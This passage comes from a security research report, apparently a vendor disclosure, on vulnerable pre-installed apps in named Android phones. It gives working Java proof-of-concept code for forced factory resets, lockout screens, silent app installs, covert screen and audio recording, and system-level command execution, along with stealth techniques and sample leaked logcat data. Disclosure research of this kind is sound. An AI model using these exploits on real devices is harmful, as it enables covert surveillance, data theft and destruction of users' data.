statically registers to receive broadcast intents with an action of android.intent.action.FD_RESET.
Sending a broadcast intent with this action will cause the device to enter recovery mode and crash. The
code to send the broadcast intent is provided below.
sendBroadcast(new Intent("android.intent.action.FD_RESET"));
The CommandReceiver broadcast receiver component is exported and accessible to any app co-located on
the
device.
Once
the
component
receives
a
broadcast
intent
with
an
action
of
android.intent.action.FD_RESET, the component internally sends a broadcast intent with an action of
android.intent.action.MASTER_CLEAR_DATA_CARRIER.
The
com.android.server.MasterClearReceiver class (running in the system_server process) dynamically
registers
a
broadcast
receiver
to
receive
broadcast
intents
with
an
action
of
android.intent.action.MASTER_CLEAR_DATA_CARRIER. Once this action string is received by the
broadcast
receiver
it
will
call
the
android.os.RecoverySystem.rebootWipeUserDataAndCarrier(android.content.Context,
boolean, java.lang.String) method. This method will write a string value of the contents, shown
below, to a file with a file path of /cache/recovery/command and then boot into recovery mode.
--shutdown_after
--wipe_carrier
--reason=<reason>
--locale=<locale>
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
The phone boots into recovery mode and then starts to perform a factory reset and quickly fails and repeats
the process. We are unable to tell exactly why the fault is occurring since we do not have access to the
recovery logs. It could be that the command written to the /cache/recovery/command file is malformed
and causes a crash when in recovery mode and the command in the file keeps being read in and processed,
causing another fault, where this cycle continues forever. When the device is continually crashing, we were
unable to boot into an alternate mode (e.g., system or
bootloader). The --wipe_carrier command is not in
AOSP code, and this command would have to be
handled in recovery mode. The standard commands
that are accepted in the /cache/recovery/command
file are provided here in Google’s AOSP source
code 36 . Our hypothesis is that --wipe_carrier
command or a different command causes the fault in
recovery mode and this process repeats and always
hits the same fault.
12. Taking Screenshots using system_server
Certain Android devices will take a screenshot and
write it to the SD card when a broadcast intent with a
specific action string is sent. On the vulnerable
devices, the system_server process dynamically
registers a broadcast receiver with a specific action
string (the specific action string depends on the
device, as it is not constant across devices). The
contents of the screen buffer are regarded as sensitive.
All of the devices we examined that allow a third-
party app to indirectly take a screenshot perform
some animation when a screenshot is taken and leave
a notification in the status bar, so it is not transparent
to the user. A notification is created indicating that a
screenshot was taken. If all caution is thrown to the
wind, a malicious app may open interesting apps, take
screenshots, and exfiltrate them. Although the
screenshot capability cannot be disabled by the user
due to it residing in the system_server process, this
approach is aggressive. Figure 3 shows a screenshot
containing notifications, including a password reset
sent via text message, taken on a Sony Xperia L1
Android device containing an active screen lock with
a
build
fingerprint
of
Sony/G3313/G3313:7.0/43.0.A.6.49/2867558199:user/release-keys. A more guileful approach is
to take screenshots while the user has been inactive for a period of time. This can be accomplished by
running a service in the background and dynamically registering for the SCREEN_ON and SCREEN_OFF
36 https://android.googlesource.com/platform/bootable/recovery/+/master/recovery.cpp
FIGURE 3. SCREENSHOT CONTAINING ACTIVE
NOTIFICATIONS.
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
broadcast intents to know when the device is actively in use by the user. The attacking app can create an
activity that will come to the foreground and turn on the screen even when a screen lock is present. This
can be accomplished by setting the WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED and
WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD flags on the current window in the activity
when it is started. If the app requests the EXPAND_STATUS_BAR permission, the app can expand the status
bar to show the current notifications by getting the system service named statusbar as an IBinder and
then calling the android.app.StatusBarManager.expandNotificationsPanel() method (for API level
17 and above) on it via Java reflection and using the open interface to take a screenshot. If the device has
an active screen lock, only notifications received after the screen lock has been activated will show up when
a screenshot is taken. The attacking app can then use a generic approach to cause a system crash to remove
the notification that a picture was taken. All Android devices that run Android 5.0 to Android 6.0.1 have a
vulnerable app component where a single intent message can cause a system crash due to inadequate
exception handling in the system_server process. We developed a generic method to cause a system crash
on all Android API levels by causing the system_server process to exhaust all of its heap memory. An
open-source PoC app we developed is available here37. Table 7 provides the devices that we found that
allow any app co-located on the device to utilize an open interface in the system_server process to take a
screenshot and write it to external storage. Any app with the READ_EXTERNAL_STORAGE permission can
access the screenshots.
Table 7. Android Devices that Allow Any App to Take a Screenshot.
Device
Broadcast Action
Build Fingerprint
Asus ZenFone
3 Max
ACTION_APP_TAKE_SCREENSHOT
asus/US_Phone/ASUS_X008_1:7.0/NRD
90M/US_Phone-14.14.1711.92-
20171208:user/release-keys
Asus ZenFone
V Live
ACTION_APP_TAKE_SCREENSHOT
asus/VZW_ASUS_A009/ASUS_A009:7.1.
1/NMF26F/14.0610.1802.78-
20180313:user/release-keys
Alcatel A30
android.intent.action.THREE_POINT
ER_SCREENSHOT
TCL/5046G/MICKEY6US:7.0/NRD90M/J6
3:user/release-keys
Nokia 6 TA-
1025
com.fih.screen_shot
Nokia/TA-
1025_00WW/PLE:7.1.1/NMF26F/00WW_3
_32F:user/release-keys
Sony Xperia
L1
com.sonymobile.intent.action.SCRE
EN_CAPTURE
Sony/G3313/G3313:7.0/43.0.A.6.49/
2867558199:user/release-keys
Leagoo P1
com.android.screen.shot
LEAGOO/t592_otd_p1/t592_otd_p1:7.
0/NRD90M/1508151212:user/release-
keys
13. LG Android Devices – Lock the User out of Their Device
We found a rather unique and interesting attack present on certain LG devices that allows a zero-permission
app to lock the user out of their device by applying a screen lock that is completely unresponsive to the user
except for making emergency phone calls. We verified that the devices show below are vulnerable.
LG G6 - lge/lucye_nao_us_nr/lucye:7.0/NRD90U/17355125006e7:user/release-keys
LG Q6 - lge/mhn_lao_com_nr/mhn:7.1.1/NMF26X/173421645aa48:user/release-keys
37 https://github.com/Kryptowire/daze
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
LG X Power - lge/k6p_usc_us/k6p:6.0.1/MXB48T/171491459f52c:user/release-keys
LG Phoenix 2 - lge/m1v_att_us/m1v:6.0/MRA58K/1627312504f12:user/release-keys
An exposed dynamically-registered broadcast receiver within the com.android.systemui app
(versionCode=600170209, versionName=6.00.170209) allows any app on the device to essentially lock
the user out of their phone in most cases. This technique could be used to create a crypto-less ransomware
to force the user to pay to unlock their device. Below are the SHA-256 hashes for the com.lge.gnsslogcat
app’s APK file and ODEX file from the LG G6 device.
97e5e02340417c997476861c0c4d316d0ced24dd6906f9aa2afd9f3ad15ccc0f LGSystemUI.apk
9dfc1b1e4591f0dc739dd583c14f8a6251626eaae302430da0e032e61772edbf LGSystemUI.odex
The com.android.systemui.keyguard.KeyguardViewMediator class dynamically registers a broadcast
receiver with an action of com.lge.CMCC_DM_PARTIALLY_LOCK, as well as for other actions. When a
broadcast intent is sent by any app on the device, it will be received by an anonymous class within the
KeyguardViewMediator
class.
This
will
in
turn
call
the
KeyguardViewMediator.doKeyguardUnlockDisabled(Boolean, java.lang.String) method. This
method will set both the com.lge.CMCC_DM_LOCK and UnlockCallerNum keys in the system table to a
value of 1 and then call the KeyguardViewMediator.doKeyguardTimeout(android.os.Bundle) method
to lock the screen. At this point, the screen will be locked and cannot be unlocked through traditional
methods. If ADB is not enabled on the device, the user will be forced to boot into recovery mode and
perform a factory reset to recover the device. If ADB has already been enabled, they can use the unlock
method described subsequently. Below is the source code to send the broadcast intent.
sendBroadcast(new Intent("com.lge.CMCC_DM_PARTIALLY_LOCK"));
The screen lock put in place by the com.android.systemui app that receives the broadcast intent will not
be responsive to touches except for the emergency call button. This screen lock will persist across system
reboots and even appear in safe mode. We were unable to find a way to remove this lock screen except
when ADB was enabled prior to a third-party app co-located on the device forcing the lock screen to lock.
If ADB was not enabled on the device prior to the screen lock, then the user will likely have to boot into
recovery mode by pressing a specific key combination at boot time and perform a factory reset, which will
remove the screen lock but also wipe all the user’s data and app. If ADB was enabled prior to the appearance
of this special screen lock, then the user could hook their device up to a computer that had already been
approved provided it’s RSA key fingerprint to the LG device. At this point, the user can enter the following
command via ADB to unlock the device.
adb shell am broadcast -a com.lge.CMCC_DM_UNLOCK
Alternatively, the following set of commands can undo the changes manually in the system table.
adb shell settings put system com.lge.CMCC_DM_LOCK 0
adb shell settings put system UnlockCallerNum 0
A large majority of Android users would not have ADB enabled, as this functionality is for developers and
Android enthusiasts. In addition, they would need to find out the actions to take to unlock it, which would
likely be difficult for the average user to discover on their own.
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
14. Asus ZenFone 3 Max – Arbitrary App Installation
The arbitrary app installation vulnerability was discovered in an Asus ZenFone 3 Max device with a build
fingerprint of asus/US_Phone/ASUS_X008_1:7.0/NRD90M/US_Phone-14.14.1711.92-
20171208:user/release-keys. This device contains a pre-installed app with a package name of
com.asus.dm (versionCode=1510500200, versionName=1.5.0.40_171122) has an exposed interface
that allows any app co-located on the device to use its capabilities to download an arbitrary app over the
internet and install it. Furthermore, any app that was programmatically installed using this method can
also be programmatically uninstalled using the com.asus.dm app. The com.asus.dm app has an exported
service named com.asus.dm.installer.DMInstallerService. Any app on the device can send an
intent with specific embedded data that will cause the com.asus.dm app to programmatically download
and install the app. For the app to be downloaded and installed, certain data needs to be provided in the
intent: download URL, package name, version name from the app’s AndroidManifest.xml file, and the
MD5 hash of the app. Below is the source code to download and install the Xposed Installer APK file.
Intent i4 = new Intent();
i4.setAction("com.asus.dm.installer.download_app");
i4.setClassName("com.asus.dm", "com.asus.dm.installer.DMInstallerService");
i4.putExtra("EXTRA_DL_URL", "https://dl-
xda.xposed.info/modules/de.robv.android.xposed.installer_v33_36570c.apk");
i4.putExtra("EXTRA_INSTALL_PACKAGE", "de.robv.android.xposed.installer");
i4.putExtra("EXTRA_DL_CHECKSUM", "36570c6fac687ffe08107e6a72bd3da7");
i4.putExtra("EXTRA_INSTALL_VERSION", "2.7");
startService(i4);
At this point, the Xposed Installer app can be started by the app that initiated its installation. If the app that
initiated the installation of the Xposed Installer app decides that it should be uninstalled, it can use the
source code below to uninstall it. This method only works for apps that were installed using the approach
above and not for apps that were installed via other methods such as the user installing an app via the app
distribution channel of Google Play.
Intent i7 = new Intent();
i7.setAction("com.asus.dm.installer.removeService");
i7.setClassName("com.asus.dm", "com.asus.dm.installer.DMInstallerService");
i7.putExtra("EXTRA_APP_NAME", "de.robv.android.xposed.installer");
startService(i7);
15. Video Recording the User’s Screen
Sometimes pre-installed apps can expose the capability to record the user’s screen through a privileged
pre-installed app. We provide two instances of screen recording: Vivo V7 and Doogee X5.
15.1 Vivo V7 – Video Recording the User’s Screen
The
Vivo
V7
device
we
examined
had
a
build
fingerprint
of
vivo/1718/1718:7.1.2/N2G47H/compil04201658:user/release-keys. The device contains a pre-
installed app with a package name of com.vivo.smartshot (versionCode=1, versionName=3.0.0). This
app will record the screen for 60 minutes and write an mp4 file to a location of the attacking app’s choosing.
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
Normally, a recording notification will be visible to the user, but we will detail an approach to make it
mostly transparent to the user. The com.vivo.smartshot app has an exported service named
com.vivo.smartshot.ui.service.ScreenRecordService.
The
approach
is
to
start
the
ScreenRecordService which will start a separate binary named /system/bin/smartshot that performs
the recording of the screen. Once the ScreenRecordService is started, it will create a sticky notification
saying “Recording screen” and create a stop button on the side of the screen. These can be removed by then
stopping the ScreenRecordService shortly after starting it. After the ScreenRecordService is stopped,
the /system/bin/smartshot binary continues recording. The recording will continue for 60 minutes and
there is the possibility that the com.vivo.smartshot app will be killed if there is memory pressure as it
does not have any active app components. To provide an active component, the attacking app will then start
the ScreenRecordService with some values embedded in the intent that will not start a new recording or
interfere with the active recording. If the recording is stopped early, the file may be corrupted, so the entire
60 minutes should be observed and then the mp4 file will be able to be played without any modification.
Moreover, the attacking app can have the /system/bin/smartshot binary write the mp4 file to its private
directory, so the attacking app does not need the READ_EXTERNAL_STORAGE permission to read from external
storage. This is achieved by first changing the file permissions to the attacking app’s private directory, so
it can be accessed by the /system/bin/smartshot binary, as SELinux does not block it on the device.
Once the file permissions are changed to be world-executable on the app’s directory, it will then create an
empty file using a specific file name that will later be passed to the ScreenRecordService as a file name
for the mp4 file. Then the newly created file (e.g., screen.mp4) in the attacking app’s private directory is
made world-writable. To make the user completely oblivious to the recording of the screen, the source code
below can be executed when the device’s screen is off (requires registering a broadcast receiver listening
for the SCREEN_OFF broadcast intent), so there is not disturbance to the GUI with the anticipation that the
user will use their device in the next 60 minutes. Then the attacking app executes the code below as was
explained above.
Intent i = new Intent();
i.setAction("vivo.action.ACTION_START_RECORD_SERVICE");
i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService");
i.putExtra("vivo.flag.vedio_file_path", "/data/data/com.some.app/screen.mp4");
i.putExtra("show_top_stop_view", false);
startService(i);
try {
Thread.sleep(500);
} catch (InterruptedException e) {
e.printStackTrace();
}
i = new Intent();
i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService");
stopService(i);
try {
Thread.sleep(500);
} catch (InterruptedException e) {
e.printStackTrace();
}
i = new Intent("vivo.acton.ACTION_CHANGE_TOP_STOP_VIEW");
i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService");
i.putExtra("show_top_stop_view", false);
startService(i);
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
At the end of 60 minutes after executing the code above, the /system/bin/smartshot binary finishes its
recording and the attacking app can view the previous 60 minutes of the screen usage and observe the user’s
behavior. This may involve the user entering passwords, entering credit card numbers, writing personal
messages and emails, etc. This resulting mp4 file can be sent to a remote location if the attacking app has
the INTERNET permission.
15.2 Doogee X5 – Video Recording the User’s Screen
This device allows third party apps to programmatically initiate the recording of the screen by sending an
intent
to
a
pre-installed
app.
The
build
fingerprint
of
the
Doogee
X5
device
is
DOOGEE/full_hct6580_weg_c_m/hct6580_weg_c_m:6.0/MRA58K/1503503147:user/test-keys. This
app has a package name of com.hct.screenrecord (versionCode=1, versionName=1.0). When the
screen recording occurs, it is not transparent to the user. A visible effect on the screen is a blinking red
circle. There is also a notification indicating that the screen is being recorded, although the notification is
does not allow the user to stop the recording if clicked. The screen recording will stop when the screen goes
off or when the user clicks the red circle. The mp4 file will be written to external storage to a base path of
/sdcard/ScreenRecord. A third-party app can initiate the screen recording with the following source
code.
Intent i = new Intent();
i.setClassName("com.hct.screenrecord", "com.hct.screenrecord.ScreenRecordService");
startService(i);
16. Oppo F5 – Audio Record the User
This vulnerability allows any app co-located on the device to record audio of the user and their surroundings.
To exploit this vulnerability, the command execution as the system user (see Section 4.5), must also be
used to transfer the file due to its restrictive file permissions. The Oppo F5 device we examined had a build
fingerprint of OPPO/CPH1723/CPH1723:7.1.1/N6F26Q/1513597833:user/release-keys. The Oppo F5
Android device comes a pre-installed app with a package name of com.oppo.engineermode app
(versionCode=25, versionName=V1.01). The com.oppo.engineermode.autoaging.MicTest activity
application component within the com.oppo.engineermode app will start recording audio and write it to a
file in the /data directory when it is started (e.g., /data/2018-05-03_04.42.37.amr). When this activity
is started by an external app, the external app can wait 600 milliseconds and then send an intent to return to
the home screen. This will start the audio recording and the app will not be visible in the recent apps due to
starting the activity with the Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS flag. So, the user may see
an activity pop up and close quickly, although they will not be able to view the activity from the recent apps
and would likely be unaware that the audio recording is occurring. The source code is provided below.
Intent i = new Intent("com.oppo.engineermode.autoaging.MicTest");
i.setClassName("com.oppo.engineermode", "com.oppo.engineermode.autoaging.MicTest");
i.setFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
this.startActivity(i);
try {
Thread.sleep(600);
} catch (InterruptedException e) {
e.printStackTrace();
}
Intent i2 = new Intent("android.intent.action.MAIN");
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
i2.addCategory(Intent.CATEGORY_HOME);
startActivity(i2);
The MicTest activity component will keep recording as long as the activity is alive. The user will not be
able to view the activity through the recent apps list to close it. While the audio recording is ongoing, there
is no indication to the user such as a notification, toast message, etc. As the audio file is recoding, it can be
copied to another location, and the copied file will still be playable. The attacking app does not require any
permissions to obtain the audio recording file (an amr file), although the app will need the INTERNET
permission if the audio file is to be sent to a remote server. Once the attacking app wants the recording file,
it needs to determine the file name of the audio file. This can be accomplished by using the
com.dropboxchmod app to list the files in the /data directory. Using the approach in Section 4.1.2, the
attacking app can transfer one or all amr files to the attacking apps private directory by leveraging the
com.dropboxchmod app that allows arbitrary command execution as the system user. SELinux on the Oppo
F5 device does not prevent the system user from writing to a third-party app’s private directory. The same
behavior is not present on the Asus ZenFone V Live device, although it is present on the Asus ZenFone 3
device. The SELinux rules dictate the capability of a platform app directly writing to a third-party app’
private directory. Prior to making the com.dropboxchmod app write any files to its internal directory, it will
need to make its private app directory (e.g., /data/data/some.attacking.app) both writable and
executable. Below are the commands the attacking app can have the com.dropboxchmod app to transfer the
audio recording file to is private app directory using the approach detailed in Section 4.5.
cp /data/2018-05-03_04.42.37.amr /data/data/the.attacking.app
chmod 777 /data/data/the.attacking.app/2018-05-03_04.42.37.amr
At this point the 2018-05-03_04.42.37.amr file is readable by the attacking app and can be sent to a
remote location.
Conclusion
Pre-installed apps present a potent attack vector due to their access to privileged permissions, potential
widespread presence, and the fact that the user may not be able to disable or remove them. Vulnerable
pre-installed apps can present a tangible threat to end-users since certain apps can contain exposed
interfaces that will leak PII to locations accessible by other apps on the device. Furthermore, certain
vulnerabilities facilitate surveillance by allowing the recording of audio, video, and the user’s keystrokes.
As we have shown in this document, even devices sold by US carriers can contain severe vulnerabilities.
We argue that more effort should be invested in scanning for vulnerabilities and threats that are present on
a device as soon as the user first removes it from the box and powers it on.
Acknowledgements
This work was supported by the Department of Homeland Security (DHS) Science and Technology
(S&T) Directorate via award to the Critical Infrastructure Resilience Institute (CIRI) Center of Excellence
(COE) led by the University of Illinois at Urbana-Champaign (UIUC). The views and conclusions
contained herein are those of the authors and should not be interpreted as necessarily representing the
official policies or endorsements, either expressed or implied, of DHS.
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
We would like to thank Vincent Sritapan from DHS S&T. We would also like to thank Dr. Michael
Bailey, Joshua Reynolds, Dr. Joshua Mason, and Deepak Kumar from UIUC for their help in
downloading and testing apps and technical discussions. A big thank you to Dr. Mohamed Elsabagh for
technical advice.
Appendix A. PoC code for Arbitrary Command Execution as the system user on the Verizon Asus
ZenFone V Live Device. The Same Code Also Works on the Asus ZenFone 3 Max Device.
public void asus_zenfone_V_live_command_execution_as_system_user() {
Intent i = new Intent();
i.setClassName("com.asus.splendidcommandagent",
"com.asus.splendidcommandagent.SplendidCommandAgentService");
SplendidServiceConnection servConn = new SplendidServiceConnection();
boolean ret = bindService(i, servConn, BIND_AUTO_CREATE);
Log.d(TAG, "initService() bound with " + ret);
}
class SplendidServiceConnection implements ServiceConnection {
@Override
public void onServiceConnected(ComponentName name, IBinder boundService) {
Log.w(TAG, "serviceConnected");
Parcel send = Parcel.obtain();
Parcel reply = Parcel.obtain();
send.writeInterfaceToken("com.asus.splendidcommandagent.ISplendidCommandAgentService");
String command = "am broadcast -a android.intent.action.MASTER_CLEAR";
send.writeString(command);
try {
boolean success = boundService.transact(1, send, reply, Binder.FLAG_ONEWAY);
Log.i(TAG, "binder transaction success=" + success);
} catch (RemoteException e) {
e.printStackTrace();
}
send.recycle();
reply.recycle();
}
@Override
public void onServiceDisconnected(ComponentName arg0) {
Log.w(TAG, "onServiceConnected");
}
}
Appendix B. User and Device Data Appearing the in the Logcat Log.
Below are concrete instances of user and device data appearing in the logcat log. This is not an exhaustive
listing of items that can appear in the logcat log, but just a sampling. We have modified the values below
from their actual values to contrived values to protect our privacy.
Device GPS Coordinates
03-15 15:19:25.899 1394 1453 D LocationManagerService: incoming location: Location[gps 39.842631,-
78.310564 acc=52 et=+13m58s695ms alt=130.95172119140625 vel=0.0 {Bundle[{satellites=11}]}]
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
03-16 15:56:31.805 17382 17382 I GeofencerStateMachine: sendTransitions: location=Location[fused
39.842631,-78.310564 acc=70 et=+1h0m16s339ms alt=157.0609130859375 vel=0.0
{Bundle[mParcelledData.dataSize=528]}]
03-16 15:56:27.785 3036 3555 V GnssLocationProvider: reportLocation lat: 39.842631 long: -78.310564
timestamp: 1521230188000
User’s Gmail Account
03-15 15:12:45.499 1394 1453 E SyncManager: Couldn't find backoff values for
[email protected]/com.google.android.keep:u0
03-16 15:15:35.375 16847 16847 I Finsky : g: " [email protected]"
03-16 15:55:42.675 482 659 I S3UtteranceSender: send account: %s, modelType: %d[notmyrealaccount
@gmail.com, OK_GOOGLE]
Device Phone Number
03-16 15:38:17.225 3587 3587 D VendorGsmCdmaPhone: getLine1Number isimrecord return mdn = 5403334444
03-16 15:38:20.005 3587 3587 D VendorGsmCdmaPhone: getLine1Number impu[1]=sip:[email protected]
03-16 15:38:20.005 3587 3587 D VendorGsmCdmaPhone: getLine1Number impu[2]=tel:+15403334444
Device Serial Number
03-16 17:17:15.315 4171 4171 I zdmc : Hwv: 320983924782
03-16 17:15:42.038 333 333 E wcnss_service: Serial Number is 83924782
ICCID
03-16 17:16:14.715 3605 3605 D SelfactivationUtil: Iccid get ready + iccid = 89148000004026293327
IMSI
03-16 17:17:15.315 4171 4171 I zdmc : IMSI: 311480407548581
JavaScript Debug Messages Showing Websites Visited
03-16 15:58:51.425 677 677 I chromium: [INFO:CONSOLE(320)] "[GPT DEBUG] googletag.display(adoop)",
source: http://www.sherdog.com/ (320)
03-16 15:58:45.925 677 677 I chromium: [INFO:CONSOLE(0)] "The SSL certificate used to load resources
from https://c.amazon-adsystem.com will be distrusted in M70. Once distrusted, users will be prevented
from loading these resources. See https://g.co/chrome/symantecpkicerts for more information.", source:
https://www.reddit.com/ (0)
Destination Number of Sent Text Messages
03-16 16:27:38.935 8713 8906 D SmsManager: sendMultipartTextMessage's ScAddress is7038889999
03-16 16:27:38.935 8713 8906 D SmsManager: sendTextMessage's ScAddress is7038889999
Phone Numbers for Outgoing Calls
03-16 16:28:47.825 9194 9194 D Telecom : UserCallIntentProcessor: ray isOtaspCallFromActivation:false
number: 5409759176: UCA.oC@AAA
03-16 16:28:48.085 9194 9194 D Telecom : UserCallIntentProcessor: isInternationalNumber, num:Country
Code: 1 National Number: 5409759176: UCA.oC@AAA
Phone Numbers for Incoming Calls
03-16 16:39:20.315 3876 3876 V SDM : onCallStateChanged() incomingNumber= +15409759176; callState= 1
HTTPS Querystring
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
03-16 15:38:35.125 8475 8486 I ZteDownloadManager: DownloadProvider.insert --> original values =
allow_roaming=true destination=4
hint=file:///storage/emulated/0/Android/data/com.android.vending/files/1521229115002 otheruid=1000
title=Verizon Messages notificationclass=com.google.android.finsky.download.DownloadBroadcastReceiver
is_public_api=true visibility=0 notificationpackage=com.android.vending
uri=https://play.googleapis.com/download/by-token/download?token=AOTCm0S_HplSz_C4dcG-
d7pY8dxOPdaPFHW4Wh1p_WXkrpu9QLwMhWWcmHcOg00aeyVHK7RxpddJJvhrjFNgo2jy4nx0lZoOCLOHD59w54dVGOETE_re2Lp53ASl3M
6ZXeGZnfn1IpgMlRuYG0wDq70FPeZYCEVp7PeJLqFUr7vF1vlCz_RMR3KpqVxp3aGvcpsNqsLJo_2uBJu1b0bYcRQBQ5Ky2wMlln567OUN
2NNb8NXk1nUOHTV5pMAw5Y7QxOpyNXA1QPd3UW-
ohYrbgK9SSUPsbaBNrBKGN8LUjcm_K_HS21rQf33imc1TLlvljCxyFEnW3NxABMu3ezNhDKunLjke_01fMEVnKVA9-
Qbpp0w&cpn=kiHfgI33chp7gskT allowed_network_types=2, callingPackage: com.android.vending
MAC Address
03-16 16:37:59.385 326 326 D QCNEA : p2p_device_address=b2:c1:9e:8f:f5:ce
Apps Installed
03-16 16:43:55.025 8798 8798 D Launcher.Model: onReceive intent=Intent {
act=android.intent.action.PACKAGE_ADDED dat=package:jackpal.androidterm flg=0x4000010 (has extras) }
Apps Started From the Launcher
03-16 17:07:59.835 3036 14466 I ActivityManager: START u0 {act=android.intent.action.MAIN
cat=[android.intent.category.LAUNCHER] flg=0x10200000 cmp=air.com.bitrhymes.bingo/.AppEntry (has extras)}
from uid 10028 on display 0
Downloaded Files
03-16 15:59:53.695 8475 8486 I ZteDownloadManager: DownloadProvider.insert --> original values =
allow_roaming=true destination=6 flags=0 allow_write=0 is_visible_in_downloads_ui=true
http_header_0=Referer: https://scholar.google.com/ mimetype=application/pdf scanned=0 allow_metered=true
description=10.1.1.687.360.pdf title=10.1.1.687.360.pdf
_data=/storage/emulated/0/Download/10.1.1.687.360.pdf status=200 total_bytes=311162 is_public_api=true
visibility=2 uri=http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.687.360&rep=rep1&type=pdf
notificationpackage=null allowed_network_types=-1, callingPackage: com.android.chrome
SSID
03-16 17:11:59.255 326 326 D QCNEA : |CORE:CAS| ssid: BQ_net_994
03-16 17:12:07.405 326 326 D QCNEA : ssid= BQ_net_994
Arbitrary Messages from Installed Apps (password from a US Fortune 500 bank app)
03-16 18:14:20.995 21817 21913 D CEOMAsyncTask: SignOn requestData @@params [COMPANY=companyID,
WFUID=userID, PASSWORD=password, deviceId=a2e608f6bd79c78b, AUTHTYPE=1, token=, ceomNonce,
mintSessionId=5ad3a148-d9f7-4431-a03b-1ecb6ca4ff7a, iatxnid=bbf6ca2f-e5f5-41f9-b225-48f1df1d1c7b,
action=signon,
iapayload=ewogICAiZW5jcnlwdGVkQm9keSI6ICJhS0hzSkpWRmx4eU5UNkN1dWhxU0JBaEliR09PQWZIRGZ2RDEzcnJBQ0gvQU1QY29U
OWtCYVpDcDZrb2U2WUtDN0RzenlMeHA2NkNLN013L2dqYlltR3JUOWQ5VHhJaC96L09BRkZKZDRBdXVYT1lJM3AzaUNGSGQ3bWVyc0hTME
hvdGZEc2xGbldzbEdxNGpZK3FJcndKOGx5UkFxRDlObkZKMmVRWnpKais0blVPTnR2SVliMDNlUUxTRTFUdk9wdGRncmVqekh4cWhJeFFj
TVZITVh4bWxyTEVIMXE4WkxlL3d6Mzh3R3NrTFhjL3Z3VEJuS244K1VIY1ZqdzZBcmd1Rk40RzFoYUpHNVBNclB3ZTBnTks3MmJBZ0J2OW
RiTDFEVmt2aU9vSzIvOUVUWlI1S1hpclpMcGxpdHNRVXY5MTAwbzRjaC9salRDcVBldExTNlpVZW9VSW0zWFZLOElHOXZrMkV0Z3pTcXgx
SUlwMWhQVS9QVFE0U2cyUllaU3FERFlNT0dQalFSbjRBWDRCL2orRXBFRmdQYmZVbDMrTE1lbHh4M211UVdJK3k5TFIvUTB3bEZaSnFLc0
lzSkgwUXA3ZmpJVGxwSU1mLzNaQUx5OXQzRkU3bzlKeW1heGhoZVQvUW8zTEl6WTNqSUNha
Appendix C. The Text of Notifications (shown in red) Appearing in the dumpstate.txt file on the
Asus ZenFone 3 Max Device.
Panels:
mNotificationPanel=com.android.systemui.statusbar.phone.NotificationPanelView{b3e63a8 I.E......
......ID 0,0-720,48 #7f14031f app:id/notification_panel} params=FrameLayout.LayoutParams={ width=match-
parent, height=match-parent, leftMargin=0, rightMargin=0, topMargin=0, bottomMargin=0 }
[PanelView(NotificationPanelView): expandedHeight=0.000000 maxPanelHeight=48 closing=f
tracking=f justPeeked=f peekAnim=null timeAnim=null touchDisabled=f]
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
active notifications: 4
[0] key=0|com.android.settings|1|null|1000 icon=StatusBarIconView(slot=com.android.settings/0x1
icon=StatusBarIcon(icon=Icon(typ=RESOURCE pkg=com.android.settings id=0x7f02007f) visible user=0 )
notification=Notification(pri=0 contentView=null vibrate=null sound=null defaults=0x0 flags=0x0
color=0x00000000 vis=PRIVATE))
pkg=com.android.settings id=1 importance=2
notification=Notification(pri=0 contentView=null vibrate=null sound=null defaults=0x0
flags=0x0 color=0x00000000 vis=PRIVATE)
tickerText="null"
[1] key=-1|android|17040405|null|1000 icon=StatusBarIconView(slot=android/0x1040415
icon=StatusBarIcon(icon=Icon(typ=RESOURCE pkg=android id=0x010807b4) visible user=-1 )
notification=Notification(pri=0 contentView=null vibrate=null sound=null tick defaults=0x0 flags=0x2
color=0xff607d8b vis=PUBLIC))
pkg=android id=17040405 importance=2
notification=Notification(pri=0 contentView=null vibrate=null sound=null tick defaults=0x0
flags=0x2 color=0xff607d8b vis=PUBLIC)
tickerText="USB debugging connected"
[2] key=0|com.android.vending|874755343|null|10041
icon=StatusBarIconView(slot=com.android.vending/0x3423b50f icon=StatusBarIcon(icon=Icon(typ=RESOURCE
pkg=com.android.vending id=0x7f0802da) visible user=0 ) notification=Notification(pri=-1 contentView=null
vibrate=null sound=null tick defaults=0x0 flags=0x110 color=0xff0f9d58 category=status vis=PRIVATE))
pkg=com.android.vending id=874755343 importance=2
notification=Notification(pri=-1 contentView=null vibrate=null sound=null tick defaults=0x0
flags=0x110 color=0xff0f9d58 category=status vis=PRIVATE)
tickerText="Successfully updated "Android Messages""
[3] key=-1|android|17040400|null|1000 icon=StatusBarIconView(slot=android/0x1040410
icon=StatusBarIcon(icon=Icon(typ=RESOURCE pkg=android id=0x010807b4) visible user=-1 )
notification=Notification(pri=-2 contentView=null vibrate=null sound=null tick defaults=0x0 flags=0x2
color=0xff607d8b vis=PUBLIC))
pkg=android id=17040400 importance=1
notification=Notification(pri=-2 contentView=null vibrate=null sound=null tick defaults=0x0
